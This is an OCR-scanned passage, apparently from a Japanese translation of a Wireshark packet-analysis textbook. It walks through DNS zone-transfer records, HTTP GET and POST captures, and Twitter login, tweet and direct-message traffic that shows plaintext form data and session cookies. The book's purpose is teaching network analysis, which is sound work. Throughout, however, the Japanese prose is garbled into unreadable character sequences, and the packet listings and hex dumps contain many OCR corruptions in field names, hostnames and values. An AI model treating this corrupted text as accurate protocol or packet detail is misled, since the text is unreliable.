.Tocal: type Ns, class IN, ns dns3.contoso. local

_msdcs. contoso. Tocal: type Ns, class IN, ns csanders-9ceael.contoso. local
_ge._tcp. Default-First-5ite-Name. _sites.contoso.local: type SRV, class IN,
_kerberos._tcp.Default-First-Site-Name._sites.contoso.local: type SRV, class IN, priority 0, weight 100, port 88, target dns3.contoso.local
_ldap._tcp.Default-First-site-Name. _sites.contoso. local: type sRv, class IN, priority 0, weight 100, port 389, target dns3.contoso.local

_ge._tcp. contoso. local: type SRV, class IN, priority 0, weight 100, port 3268, target dns3.contoso.local

_kerberos._tcp.contoso. Tocal: type SRV, class IN, prierity 0, weight 100, pert 88, target dns3.contese.local

_kpasswd. _tep. contoso. local: type sRv, class IN, priority 0, weight 100, port 464, target dns3.contoso.local

_ldap. _tcp.contoso. Tocal: type sRv, class IN, priority 0, weight 100, port 389, target dns3.contoso.local

_kerberos. _udp. contoso. Tocal: type sev, class IN, priority 0, weight 100, port 88, target dns3.contoso.local

_kpasswd. _udp. contoso. local: type skv, class IN, priority 0, weight 100, port 464, target dns3.contoso.local

dns3. contoso. Tocal: type A, class IN, addr 172.16.16.139

pomainbnszones. contoso. local: type A, class IN, addr 172.16.16.139

_ldap._tcp. Default-First-Site-Name. _sites.DomainbnsZones. contoso. local: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso.local
_ldap._tcp. DomainbnsZones. contoso. Tocal: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso.local

ForestDnszones. contoso. local: type A, class IN, addr 172.16.16.139

_ldap._tcp.Default-First-site-Name. _sites.ForestbnsZones.contoso. local: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso.local
_ldap._tcp.Forestonszones. contosa. local: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso.local

contoso. Tocal: type soa, class IN, mname dns3.contoso.local

priority 0, weight 100, port 3268, target dns3.contoso.local

d3 00 0; 52
f 6

7-17 DNSZELY — UEEDET

—VERICEFNDT I BRZF O ADFICED LIFEICEHRTI . DNST—
BICRCTWLKEEITT. Xy hD—=0D2FEEEIEIITTLEINSTT,
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7.3 HTTP

HTTP (Hypertext Transfer Protocol) 1%, World Wide Web ®ELEHEHE TH Y. Web 75 7 H A3
Web H— N2 L T Web R— Y2 BT 274 ZEH L T E T, ZLOMMETIL, HTTPO M F
T4y 7 EIME L TROHEIT TS ko> TWwWE T, Google THZE L7201, Twitter TY A4 — bk
L720, HB0IET v v F—RFPDONAT v MG DM % ESPN.comTF = v 7 L72)§ 57N,
HTTP 2> CTWADTY,

HTTP O 3% v M d, S TERVERA. 29 L7237y FORFIRHRICL > Thk ) 0
WHAH D720, FOMRIFHHEICBERELE T, S TEHTTPOE[MZ WL OPRTwEFEL L),

7.3.1 HTTPTIS9X9%
HTTPZWeb 7 7 7 % flioTWeb X— V2T 2BICLCHHAEINE S, Fv T Fv 7740V
http_google.pcapiZit, TCP% 5 Y AR— @70 bV LCHHTLZHTTP NS 7 4 v 753G
INTwET, #if51E7 747 1172.16.16.128 & Google ® Web H—374.125.95.104 £ D D 3
TIANY YA THEVET,
HEDPMELEND & RHMOHTTP N7 v b, B7-18D X )T FTA T ¥ b hHH—NEED
nEd,

[ 40.030248 172.16.16.128 74.125.95.104 HTTP GET / HTTP/1.1 =)

Frame 4 (681 bytes on wire, 681 bytes captured)

Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4c)

Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 74.125.95.104 (74.125.95.104)

Transmission Control Protocol, Src Port: 1606 (1606), Dst Port: 80_(80), Seq: 2082691768, Ack: 2775577374, Len: 627
= Hypertext Transfer Protocol 1

@ [Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n]
ORequEst Method: GET
Request URI: /
Request version: HTTP/1.1
Host: www.google. com\r\n
User-agent: Mozilla/5.0 (windows; U; windows NT 6.1; en-uUs; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7\r\n
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/%;g=0.8\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: IS0-8859-1,utf-8;g=0.7,%;g=0.7\r\n
Keep-Alive: 300\r\n
connection: keep-alive\r\n
[truncated] Cookie: PREF=ID=257913a938e6c248:U=267c896b5F39fb0b:FF=4:LD=en:NR=10:TM=1260730654:LM=1265479336:GM=1:5=h

\rin
<[ I J D
0030 10 [ERT WO Rl 7 45 54 20 2f 20 48 54 54 50 ANGE T / HTTF A
0040 T 00 02 48 6f 73 74 3a 20 77 77 77 2¢JK 1o Ho ST v,

67 6f 6f 67 6c 65 2e 63 6f 6d 0d Oa 55 73 65 72|
2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f]
35 2e 30 20 28 57 69 6e 64 6f 77 73 3b 20 55 3b|
A 52 E0 £0 64 6F 27 73 90 A A 2& 2n b

googie. c om. . user|
-Agent: Mozﬂ'la
5.0 (w-ln dows; U;

H7-18 HADOHTTP GETYZ IR MYy y b

HTTP/$% v MITCP L%, HTTP#fE DR — M TH 5 80F R — h@ (80807 b L flibhF
F)ICHLTESRET,

HTTP/87 v M2iZ8 2D A v F (HTTP 11 TREFEENTVWET) B0, Tk ->T/87r v b
BERITHHIETEITESEIT 7 v arlgEDEd, K7-18 Tk GET AV v PRI ShTh

S
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Y. )27 A MURI (Uniform Resource Indicator) iX/, V7 ZTA’N—T 3 YIZHTTP/1.1& %5 T
WETO, ZOEHNS. 7947 Y MIHTTPO =V 3 ¥ 1.1 %5 T2 Web ¥ — /3D )L — b
Web 74 L2+ (/) #57 »ua—F (GET) Té‘)7lx FMERELTWDIEbRYFET,

FlE&REE, 27947 Y MIBAHOERE Web W — N2k 9, HRICIEH L TVwHLZ—H—
I—Tx b (TITH), TI7YIRIETFE%R il (Accept-Language). cookie [ (¥ 7 F v
DK EVPETENT T F—NEZOWHEAH LT, BIREZ M 72012, 7747 Y M2
EOT— 5 BT REPEHMTLE T,

Y= NFATFH D87y PCTHTTP GETY 7 Z A b2 2T 572, TCPACKZ L AR A& L
TEHL, KIZ6FHLSNFHO Ny b EMfioTY 2 A SN TF— S OlEk s BIE L 9,
HTTPIZZ SA T Y e —NETT 7V r =2 avBOa<v s FERITT 500N SN E
Fo T VRO E, T A M) —AOLFHERKBUNTIE, TSI — 3 vEof
HWbHY A

R7-19% B L, F—NPoDF—F W6 FHETHEHO/ v NTELNDLE, 754 T V05
DACKA8FEHD /S v FTHY, EBICIFREI0FHO S v FTTF—= A %ELNL L, 115FKH
DOy FELTACKPELNTWE T, 77— ik T HTTP 237> TV E 34, Wireshark Tld 2
N0y MITRXTHTTPTldZ{, TCP & LTHEKRENFE T,

No. = Time 4 Source 4 Destination 4 Protoco 4 Info
6 0.101202 74.125.95.104 172.16.16.128 TCP [TcP segment of a reassembled PDU]
7 0.101465 74.125.95.104 172.16.16.128 TCP [TcP segment of a reassembled PDU]
8 0.101495 172.16.16.128 74.125.95.104 TCP 1606 > B0 [ACK] 5eq=2082692395 Ack=2775580186 win=4218 Len=0
9 0.102282 74.125.95.104 172.16.16.128 TCP [TcP segment of a reassembled PDU]
10 0.102350 74.125.95.104 172.16.16.128 TCP [TcP segment of a reassembled PDU]
11 0.102364 172.16.16.128 74.125.95.104 TCP 1606 > 80 [ACK] 5eq=2082692395 Ack=2775581694 win=4218 Len=0

H7-19 7147 DT ZIHEWebH —/SEDTCPF — 2 #xi%

T YD HEEND & BRI NT— 7 AN —AHR7-200 L H ICFRENE T,

[ 120.134395 74.125.95.104 172.16.16.128 HTTP HTTP/1.1 200 OK (text/html) @

@ Frame 12 (591 bytes on wire, 591 bytes captured)
l Ethernet II, Src: 00:05:5d:21:99:4c (00:05:5d:21:99:4c), Dst: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a)
nternet Protocol, Src: 74.125.95.104 (74.125.95.104), Dst: 172.16.16.128 (172.16.16.128)
@ Transmission contro'l Protocol, Src Port: 80 (80), Dst Port: 1606 (1606), Seq: 2775581694, Ack: 2082692395, Len: 537
Reassembled TCP Segments (4857 bytes): #6(1406), #7(1406), #9(1406), #10(102), #12(537)]
= Hypertext Transfer Protocol
=]
@ [Expert Info (Chat/Sequence): HTTP/1.1 200 ok\r\n]
Request version: HTTP/1.1

Response Code: 200
pate: Tue, 09 Feb 2010 01:18:37 aMT\r\n
Expires: -1\r\n
cache-Control: private, max-age=0\r\n
content-Type: text/html; charset=UTF-8\r\n
Content-Encoding: gzip\r\n
server: gws\r\n
@ content-Length: 4633\r\n
X-XSS-Protection: O\r\n
\r\n
content-encoded entity body (gzip): 4633 bytes -> 11308 bytes
@ Line-based text data: text/html

[TI Q8 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b
[(HOXN0a 44 61 74 65 3a 20 54 75 65 2c 20 30 39 20 46 - :
HlNZi65 62 20 32 30 31 30 20 30 31 3a 31 38 3a 33 37jieb 2010 01: 118:37]

Frame (591 bytes)‘ Reassembled TCP (4857 bytes) l Uncompressed entity body (11308 byts)‘

[7-20 X7—2ZX3—FK200&% > TWBKREDHTTP/S v b

S
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HTTPIEEFK SN TWEIAT—F XATI—FOFEFEZHVCTY VA MAY Y FOREERLET,
COHYTNVTEAT—F AT —=FH200THV@, THIEFV 7 ZAMAY y FOBIZERL T,
Ny ME, YA LAY Y TRIZLD, TV T VI D55 Web = XD/ F 2 — ¥ FREICH T
LEBMOBHLGINTVE T, 754 T VIO Y b e MbE, vV F 7 v a v T
LET.

7.3.2 HTTPTF—%%#7vyJ0—KRdd [http_post.pcap]

WebH— W EF =425y u0—F§50HE2RTE20T, 5BEI7y7e—F55i13)% A
THELEIo 774 Vhttp_post.pcapiZid, T —HF—=2Web¥ A MIax > 2HBET5E 09,
IEFICHMZT vy 7O —FOF Y IAREINTVE T, MUD3T ANV Y2 2DHE, 75
47k (172.16.16.128) 1x, R7-21 D X 912, WebH—/3 (69.163.176.56) (CHTTP/$%7 v I % 3%
DFET,

[ 40.081100 172.16.16.128 69.163.176.56 HTTP POST /wp- post.php HTTP/1.1 icati for E@ﬁ

@ Frame 4 (1175 bytes on wire, 1175 bytes captured)
@ Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4c)
Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 69.163.176.56 (69.163.176.56)
@ Transmission Control Protocol, Src Port: 1989 (1989), Dst Port: 80 (80), Seq: 2808074211, Ack: 3740859985, Len: 1121
= Hypertext Transfer Protocol
=]
@ [Expert Info (Chat/Sequence): POST /wp-comments-post.php HTTP/1.1\r\n]
Request Method: POST
f Request URI: /wp-comments-post.php e
Request Version: HTTP/1.1
Host: www.chrissanders.org\r\n
User-Agent: Mozilla/5.0 (windows; U; windows NT 6.1; en-us; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;g=0.8\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: IS0-8859-1,utf-8;q=0.7,%;g=0.7\r\n
' Keep-Alive: 300\r\n .
connection: keep-alive\r\n
rReferer: http://www.chrissanders.org/?p=310\r\n
[truncated] cCookie: __utma=84195659.500695863.1261144042.1265668706.1265682737.20; __utmz=84195659.1264688282.12. 2. utmcsr=goc
content-Type: application/x-www-form-urlencoded\r\n
@ Content-Length: 179\r\n
\r\n
= Line-based text data: application/x-www-form-urlencoded
G,author=chris+Sanders&emai1=chris%40chrissanders.org&ur1=http%3A%2F%2Fwww.chrissanders.org&comment=Th15+is+a+POST+test%21&sub

»
7a ca 4( 0000 77 70 2 .Z. / -

48 54 54 50

s.org. .U ser—Age

(7-21 HTTP POST/N7 v b

2%y MZPOST AV v F&Eflio T@Web Y —NIZF—4%27 v 7u—FLEF, POSTXAY v KT
3. URI & L C /wp-comments-post.php@®. Request version & L CHTTPLIZSfRE ST E T,
77— FENT— 5 ONFEE 51213, 7357 v MO Line-based text data#h5 % Bl & £ 9O-

POSTCTF— 40585 L, ACKXr v M ELNE T, R7-220 L 512, —1NF6FHD
Iy MC AT =8 AT —F302@ [found] % X ELCL ARV AR BEH LT E T,
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[l 6 1437827 69.163.176.56 172.16.16.128 HTTP HTTP/1.1 302 Found [ESSEER )

@ Frame 6 (964 bytes on wire, 964 bytes captured)
@ Ethernet II, src: 00:05:5d:21:99:4c (00:05:5d:21:99:4c), Dst: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a)
@ Internet Protocol, src: 69.163.176.56 (69.163.176.56), Dst: 172.16.16.128 (172.16.16.128)
® Transmission control protocol, Src Port: 80 (80), Dst Port: 1989 (1989), Seq: 3740859985, Ack: 2808075332, Len: 910
= Hypertext Transfer Protocol

E]

[Expert Info (Chat/sequence): HTTP/1.1 302 Found\r\n]
Request Version: HTZR/1.1
Response Code: soz‘ﬁ

I Date: Tue, 09 Feb 2010 02:30:26 GMT\r\n
server: Apache\r\n
X-Powered-By: PHP/4.4.9\r\n
Expires: wed, 11 Jan 1984 05:00:00 GMT\r\n
cache-control: no-cache, must-revalidate, max-age=0\r\n
Pragma: no-cache\r\n
set-Cookie: comment_author_0d7dc802882e903c170f35a2d747915b=Chris+sanders; expires=saturday, 22-Jan-11 07:50:27 GMT; path=/\r\n
set-Cookie: comment_author_email_0d7dc802882e903c170f35a2d747915b=chris%40chrissanders.org; expires=saturday, 22-Jan-11 07:50:27 GMT; path=/\r\n
Set-Cookie: comment_author_ur1_0d7dc802882e903c170f35a2d747915b=http%3A%2F%2Fwww. chrissanders.org; expires=saturday, 22-Jan-11 07:50:27 GvT; path=/\r\n
I Last-Modified: Tue, 09 Feb 2010 02:30:27 GMT\r\n

Location: http://www.chrissanders.org/?p=310&cpage=1#comment-103002\r\n

vary: Accept-encoding\r\n

content-Encoding: gzip\r\n
Content-Length: 20\r\n

Keep-Alive: timeout=2, max=100\r\n

Connection: Keep-Alive\r\n

content-Type: text/html\r\n

\r\n
content-encoded entity body (gzip): 20 bytes [Error: Decompression failed]

00 40 c2 c5 00 00 T 31 2e 31 20 33| TP, -
looao e 7 54 =
| 7 2 46 65 62 32 30 31 30

36 20 47 4d 54 0d 0a 53| 02:30:2 6 GMT..S)

(7 Mes 72 76 6 41 70 61 63 68 65 0d Oa SSjillerver: A pache..X}

[7-22 HTTPRF—£2Z3—K302EVEAL 7 MEHNS

AF—%Z22—F3021%, HTTP T3t ) ¥4 L7 v 2R L E 3. 787 v MA® Location 7 4 — v
F25, 2947 bV FTA L7 MEEZRLTWETO, T2 Tidk, I A Y MAR S 7w D Web
R=VPYFA VL7 Ml o TOET, BRI —NPAT—F 23 —=F200% %D, R=IYDI ¥
T VDL AL DODO y b flio TE SN T, WHEAET LIS,

7.4 FEH

COBETIE, 77V r—2ayBoOr5 74y 2 2 lETHBICECHICT A, — L2 7Ta han
ERRNLE LT OB LITHCETIE, SRMEMROEBEN LY F)AZBETH L7 T banic
DWTHEREEDIZ, KETHA LT FINIZONTH, RO ST ST 2ROV THY
LTw&EEd,

a7 ranzdz s HIFE LMY 72, B4 % RFC % @ted . 7213 [TCP/IP Guidel
(Charles Kozeriok #. No Starch Press 20054F) # 2 L T 728w, F 7218k COHEE kD &
ZIZLTLE & W,
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IRRWEFRDFVFDE—E

ZOED S, Wireshark #flio THEDO R Y b7 —27 b5 TN EGHTLHT, 237 v MEFT O
REZFWO TP TCOETEY, FIHTRAY NI =2y V=T AVTFAZHELEE, HH50ET T
Vr—2aryBgBEL L CHABETT2 YT %250 LET. TRHIEEVTRS FEFLFEEOINA
BRI X %53 DTY, Wireshark % - C. Twitter, Facebook, ESPN.com® 5 7 1 v 7 %#F#~X, X
ELNEZF—EZABED L IR LTV A2 ERTVWEE T,

FE2ETIE, HEICKRELZ NI TVEI) LiFET, ZRERO M TV AR & CIRILE RHT 2
LB, TOWETNT Y MENERAT L TORERZIRELE T, THNZTo725, N7y
MEATICREY, WY 237 v b e F v T F v 500 T2 M L, MR B2 A THY
LETo 287y MENIAZET Lz26, bI T VORIRITE 2RO ROE2IRLT, 22T
FARZEOMEAFHLET,

2y MENTIZIEE RIS E 2 EE T . 220y 3 T ORIV TR, GiE0T
FEWRRRDZPD LNTEA BITFREIAENZNTT ., —F KU RO, ENORKRENT TAhs
R L7z ZORBDOFETELEDPE VS LD TT, FRKETIHHETL T 7T VORE
B 2Ty MR T F Y — VRS TIRRTEL N LNEEA. L L, X7y MEFT O T
MOTHLZE S, 27y ME 2 O THOBE RSB0 B T TV T 2 & A3IEH
IO EICRDE, I LY FUFBIRLTOET,

8.1 I\o5v  SUANIVTDSNSDIh

FF1E22o0D AN SNSH 1 b, Twitter & Facebook®D b5 74 v 272 RTAHATL L), K —VEY R
ORI % T, W H OIEFN L P AEFEDS, Bl Hihia o TR UMEELZ FEH L TV T
ERHTWEET, 2N ENOY - CAD T ELREOTEEL LTV Z & T, HA DT CTRA
TEINTTA Y 7 \DIFZRDTNEF L L),

S
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8.1.1 Twitter R5T74 v IDELTF twitter-login pcap

B 22274 ORF=2a— A2 BRAFTLLEPOHELXOBAIZ Z1TT L & T, Twitter
B3A Y7 =2y b ETH o LB IKFHENTVEBY - ADDEDTY, 774 IV twitter_login.
pcap!l. Twitter N T 74 v 7 DX v 7F ¥ 3HV 9,

W&‘
&% Web T bODO— RFHEREICEEEINF T, TORHLUEDEI Y 3>DF v TFvE

:‘: . BEERLESELTE. CCIORLEBDEFERIRELODB UNEE A,
s

8.1.1.1 TwitteroOJdr>70EX

2y MENT R IGET 2 L & FEICRMICR->TH 59 O, EEA->TWwb Web ¥4 b~on
FAE, FOUTA VORI T T4y T OF Y TF ¥ TT . THUIEI2DOHMBHN E T, 7y
F—EIZOWTHSTHSIDE, FXDO/NSAT =P Ay b T =27 EZ2RVMY I TnELIEZ R
DIFTH5H T ET, HADIEED ENIZTERAICRKIIEL 72D T,

FEWVIZ D Twitter DFBFLBIZIZZF NI EHIEIZD ) THA. R8-1025bHh 5 L), BHUD3D
Dy M, B—=A Vo8 3y (172.16.16.128) @& ) E— b —3 (168.143.162.68) @ L D
TCPNAY Pz A 7 bR ENTVET, VE— M — N3443 FR— M THREZ b 2T T E
3O, ZH1UFSSL over HTTP, —#4ICHTTPS b &N b 2747 — F ik Filcflibn b R—
FC¥, SNEFERTH, SHHSSLES 749 7 ThHL EHENTETT,

Ne. Time Source Destination Protocol  Info

3 0.000101 172.16.16.128 168.143.162.68 TCcP 4669 > 443 [ACK] Seq=4164864061 Ack=1150193372 win=16872 Len=0

X8-1 NRY 1A I T443FBR— MR

N RT A 71k v ME BB{EEh/ASSLN R 247 T3, SSLIZE, o) =H%MW
TOMBEEESALT 27200 TFHNARKAFA LT E T N Ry oA 7 UG HEER I CRZ 2T
LIEBORLOMDTHL LMK, SESERIAZ Y a v LIFTICHT IR ENA T T -V g
YTHDNET NNV A IPRETTEE, EFaT T — VY EENHEYE T,

F=F DRV ZITo TV AR Fb &Nz v & B2 51213, [Packet Details] XA ~®
[Info] # F 273 Application Data & %2 > TV A8 v FEIEL TLEE W, INHD287 v b SSLFR
% B % L. Encrypted Application Data 7 1 — )V F93FoR S, KI8-2D X ) 12k b Sz
F—=F @M ENTVZIETTT, ThFu s A VIFOZ—F—H L8R T — POk iR LTW»
7,




——

81 )Wy UL TOSNSOHH | 149

[ 100.000169 172.16.16.128 168.143.162.68 TLSv1 Application Data [ B [ e

Frame 10: 219 bytes on wire (1752 bits), 219 bytes captured (1752 bits)
Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4c)
Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 168.143.162.68 (168.143.162.68)
Transmission Control Protocol, Src Port: 4669 (4669), DSt Port: 443 (443), Seq: 4164865716, Ack: 1150193510, Len: 165
B Secure Socket Layer
= TLSV1 Record Layer: Application Data Protocol: http
Content Type: Application pata (23)
version: TLS 1.0 (0x0301)
Length: 160

1 Encrypted Application Data: 507E2D7C9AFACS5A15F399AC3C782C0E3133A06E7 3ED6EEED. . .

41 5e ¢3 98 00 00 17 03
ffa c¢5 a1l 5T 39 9a c3 ¢7

51 49 69 8f cb 1d 70 dd|
8 b4 di1 8e c4 fd 39 bd|

b4 dO 59 27 eb 69 a4 17

&

8-2 WES{LIh/I-ERIERPTEIN TS

16%H?D/$8%7 v FCTFIN/ACKICE 2347 Y a v OF 4T ¥ oy 7at ARK S NS $THE

DHEE T, AP KDLE, T TN Twitter DR — L R=INEYFAL L7 &S, KI8-3
Thhs L9112, 19%H, 21%FH, 22FHo/ 87 v M&, FUYE— bF—3 (168.143.162.68) TF
A 443 TFR— TR 8OTFR—=NCH Rk s v a VERIBT ANV Ky 24 7 702 2 TT@,
NYRYzAOPETTHE, 28FHD/ v FTWebH—NOV—FF4 L2 MY (/) 28RT S
HTTP GET V) 7 T A MPRATENTTO. F—\1324FH D/ 8% » b TY 7 T A MIACK 2470 ©,
ROWLDPD/ry bCOT = Flnik G LE T, 41FHOSr vy b2y 7 v VIEGETY 7 =
AMCHET 27— Y ImEDRE T 2R L TWET,

No. Time Source Destination Protocol  Info
19 0.001117 172.16.16.128 168.143.162.68 TCP 4670 > 80 [SYN] Seq=3871493748 win=8192 Len=0 M55=1460
21 0.000063 168.143.162.68 172.16.16.128 TCP 80 > 4670 [SYN, ACK] Seq=2866679388 Ack=3871493749 win=18200 Len=0 Ms5=1406
22 0.000063 172.16.16.128 168.143.162.68 TCP 4670 > 80 [ACK] Seq=3871493749 Ack=2866679389 win=16872 Len=0
3 0.000371 172.16.16.128 /

E) 24 0.080775 168.143.162.68 172.16.16.128 TCP 80 > 4670 [ACK] 5eq=2866679389 Ack=3871495149 Win=8400 Len=0

X8-3 BBRISE T #EDTwitter’k—LR—JDI— T LT (/) N\ODGETYZ I XK

R—AR=TUDP0Y 7 ENZWGRREDT 7 A VEIFT 5720, EHITEAH»DGETY) 7 T A
MEFy 7F ¥ 774 VI ERTVE T,

8.1.1.1 YAL—PFTOF—%iE(E

Uy 4y L7, SEEBRIADMEEZEZ TV 2R IEZ 5 F T, AIARZHERT
9 DT, [This is a tweet for Practical Packet Analysis, second edition (ZAUZ3ZE, 7 v MENTEE
2MDI=DODY 4 =P TT) | Lo ZZE LIV A —PLTAET, 2OV — MaERTIHEOMNS
TAY 7 hRFXTF ¥ LIzON7 7 4 ) twitter_tweet.pcap T o

COFxTF X T ANE, VA - PR EINIEESSHEE-TED, Tk —Aroar
Ya—%#172.16.16.134 & ) E— M7 FL A 168.143.162.100 | ® /N> F ¥ = 4 7 27N TV E T, 4
FHESHFHD /S v ME& 27947 ¥ b=~k S N/=HTTP/$7 v FT¥, Wireshark it
D27y bOTF—F w#ilAaGEHE, BT WL IIC5FH D/ v b [Packet Details] 4 ~
ICFLOTVET,

S
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ZOHTTP~y ¥ % /572012, 57 H D %% v b® [Packet Details] XA > ® HTTP#{% % &5
35 L, K8-4D X HIZURL /status/update {2k L TPOST XV v Kb TV Z Ehbnh F
3@, Host 7 1 — )V FiZ twitter.com DENHF TN TVEDOTA, IV A — b3y y k2l n)
ZENRDbRDET,

[ 50.000138 172.16.16.134 168.143.162.100 HTTP POST /status/update HTTP/1.1 (application/s-www-form-urlencoded) [ | =

® Frame 5: 270 bytes on wire (2160 bits), 270 bytes captured (2160 bits)

® Ethernet II, src: 00:0c:29:f9:74:d8 (00:0c:29:f9:74:d8), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4c)

Internet Protocol, Src: 172.16.16.134 (172.16.16.134), Dst: 168.143.162.100 (168.143.162.100)

Transmission Control Protocel, src Port: 1176 (1176), Dst Port: 80 (80), seq: 2123484133, Ack: 3949247192, Len: 216
@ [Reassembled TCP Segments (1518 bytes): #4(1302), #5(216)]

POST /status/update HTTP/1.1
x-requested-with: XMLHttpRequest\rin

Accept-Language: en-us\ri\n

referer: http://twitter.com/\rn

Accept: application/json, text/javascript, */*\r\n

content-Type: application/x-www-form-urlencoded\rin

Accept-Encoding: gzip, deflate\r\n

user-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; svi)\rin
Host: twitter.com\ri\n

content-Length: 216\r\n

Connection: Keep-Alive\r\n

Cache-Control: no-cache\rin

=

[truncated] cookie: guest_id=1269991132318; original_referer=4bfz%2e%2BmebekrRkMWFCXME2FCUDSVDOVEFTT; __utma=438383€
\rn
Line-based text data: application/x-www-form-urlencoded
4 T ] o
0000 -
0010 [Ny =
0020 72 65 requeste o
nn2an @ _Ad Ac AR TA _TA_TNH_ED EE 71 _7E K& T T4 _Nd No WAL LT
Frame (270 byts)| Reassembled TCP (1518 bytes) ‘
L J

X8-4 TwitterEBHDEHOHTTP POST

[X18-5 ® Line-based text data 7 1 — IV F@IZIHEMRAIFEN TV H I LIZKOVW/2TL L) 2D
F— % &M 9 5 &, authenticity token &\ 9 7 4 — IV K&, URLIZIRD & 9 % % & A 77 status
TA—VEDPHERTE T,

This+is+a+tweet+for+practical+packet+analysis%2c+second+edition

status 7 4 — WV FOfilild, B 5L EINTOHRWIELTREE LY A =TT,

LIV A = E—EHOAL LA LTV ARVADB VLT, THICIEATOEF2) 74
T COREDNDHNE T ZhOE Vo THOB YA —baGED LD TERL, ZOMNT T4y 7 &%
EC&E VA - OHHETRTRLZIENTELZOR, MEAY T =7 LOL—HF =727 TY,
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[ 50.000138 172.16.16.134 168.143.162.100 HTTP POST / pdate HTTP/L.1 (applicati for ol Bl [ |

Frame 5: 270 bytes on wire (2160 bits), 270 bytes captured (2160 bits)

Ethernet II, src: 00:0c:29:f9:74:d8 (00:0c:29:f9:74:d8), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4¢)

Internet Protocol, Src: 172.16.16.134 (172.16.16.134), Dst: 168.143.162.100 (168.143.162.100)

Transmission Control Protocol, Src Port: 1176 (1176), Dst Port: 80 (80), Seq: 2123484133, Ack: 3949247192, Len: 216
[Reassembled TCP Segments (1518 bytes): #4(1302), #5(216)]

=]

x-requested-with: XMLHttpRequest\ri\n

Accept-Language: en-us\r\n

Referer: http://twitter.com/\r\n

Accept: application/json, text/javascript, */*\r\n

Content-Type: application/x-www-form-urlencoded\r\n

Accept-encoding: gzip, deflate\r\n

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; svi)\r\n
HostT: twitter.com\r\n

content-Length: 216\r\n

Connection: Keep-Alive\r\n

cache-control: no-cache\r\n

[truncated] Cookie: guest_id=1269991132318; original_referer=4bfz%2B%2BmebEKRKkMWFCXm¥%2FCUOSVDOVEFTT; __utma=438383€

2]

a+tweet+for+prac

=2b067d§|
aegedlel]

_token
958277

&

H8-5 FXOVA—h

8.1.1.2 Twitter®5 LI P XvE—Y

GEEHLEDEF 2 T A VDD ol F ) FEZZTAHAEL L) Twitter DF 4 L7 P Ayt —
ik —F =L HIEANLE Ay =V 2R TES S DTT, twitter_dm.pcap 7 7 1 Vi,
Twitter DF A L7 "X vt =T D7y ¥ 7F ¥ TT LLE8-6HbbhbLHIT, ¥4 L
T hAvE—=VREEICEFATRIDOTED) FEA,

[ 70000062 172.16.0.8 168.143.162.52 HTTP POST /direct i HTTP/L1 (applicati for [ESECS|E=Nar ™)

Frame 7: 194 bytes on wire (1552 bits), 194 bytes captured (1552 bits)

@ Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33)

Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 168.143.162.52 (168.143.162.52)

@ Transmission control Protocol, Src Port: 2636 (2636), Dst Port: 80 (80), Seq: 1824829000, Ack: 348227206, Len: 140
@ [Reassembled TCP Segments (1804 bytes): #4(1380), #5(284), #7(140)]

a

]

Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*\r\n

Referer: http://twitter.com/direct_messages/create/chrissanders8g\r\n

Accept-Language: en-us\r\n

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR
content-Type: application/x-www-form-urlencoded\r\n

UA-CPU: AMD64\r\n

Accept-encoding: gzip, deflate\r\n

Host: twitter.com\r\n

content-Length: 140\r\n

connection: Keep-Alive\r\n

cache-control: no-cache\r\n

[truncated] Cookie: guest_id=1270401079616; __utma=43838368.1999976554.1270401091.1270401091.1270489604.2; _ utmz=43838368.1270401091.1.1. utmcsr
\r\n

application/x-
authenticity_token=9b03f e6aa7 85389 $%27t+tel 1+anybody%2C+but+I+ate+al 1+the+lunches+in+the+fridge&update=send

Frame (198 Bytes)| Reassembled TCP (1804 bytes) |

86 HALIUMAyE—T

86DTHRHDI N v ME, Iy T U YDBRBYFELTERFBINTVLILEEZRLTVET, LT
DX v 7F ¥ 7 7 4 & Line-based text data 7 4 — )V KH3[H] U CTdH % DA L ) DFEILTY,
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ZCTwitter lZDOWTEZHZ LI, BT LIERETLLIRILTREDHVERA. BETELN
Fv b T =2 ETIE, FI9ARN— e Twitter X vt — V2 HVWTEE LT — ¥ 2R ETHOEIHZH
L7239 &k, Ewn) 2T,

8.1.2 Facebook FS5T71vI%EF+TFv I

VA = OfFF DD o 2D T, Sl Facebook 2T 74 ¥ LTy KENERICHR-TRoTW
